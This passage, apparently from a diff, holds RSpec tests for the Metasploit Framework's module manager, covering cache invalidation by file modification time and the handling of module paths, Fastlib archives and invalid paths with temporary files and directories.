context 'with cache module info and not a payload module' do
it 'should return true if the file does not exist on the file system' do
tempfile = Tempfile.new(module_basename)
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => modification_time
}
tempfile.unlink
File.exist?(module_path).should be_false
subject.file_changed?(module_path).should be_true
end
it 'should return true if modification time does not match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = (modification_time * rand).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should_not == modification_time
subject.file_changed?(module_path).should be_true
end
end
it 'should return false if modification time does match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = modification_time
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should == modification_time
subject.file_changed?(module_path).should be_false
end
end
end
end
end

View File

@ -0,0 +1,77 @@
shared_examples_for 'Msf::ModuleManager::ModulePaths' do
def module_paths
module_manager.send(:module_paths)
end
context '#add_module_path' do
it 'should strip trailing File::SEPARATOR from the path' do
Dir.mktmpdir do |path|
path_with_trailing_separator = path + File::SEPARATOR
module_manager.add_module_path(path_with_trailing_separator)
module_paths.should_not include(path_with_trailing_separator)
module_paths.should include(path)
end
end
context 'with Fastlib archive' do
it 'should raise an ArgumentError unless the File exists' do
file = Tempfile.new(archive_basename)
# unlink will clear path, so copy it to a variable
path = file.path
file.unlink
File.exist?(path).should be_false
expect {
module_manager.add_module_path(path)
}.to raise_error(ArgumentError, "The path supplied does not exist")
end
it 'should add the path to #module_paths if the File exists' do
Tempfile.open(archive_basename) do |temporary_file|
path = temporary_file.path
File.exist?(path).should be_true
module_manager.add_module_path(path)
module_paths.should include(path)
end
end
end
context 'with directory' do
it 'should add path to #module_paths' do
Dir.mktmpdir do |path|
module_manager.add_module_path(path)
module_paths.should include(path)
end
end
context 'containing Fastlib archives' do
it 'should add each Fastlib archive to #module_paths' do
Dir.mktmpdir do |directory|
Tempfile.open(archive_basename, directory) do |file|
module_manager.add_module_path(directory)
module_paths.should include(directory)
module_paths.should include(file.path)
end
end
end
end
end
context 'with other file' do
it 'should raise ArgumentError' do
Tempfile.open(basename_prefix) do |file|
expect {
subject.add_module_path(file.path)
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
end
end
end
end
end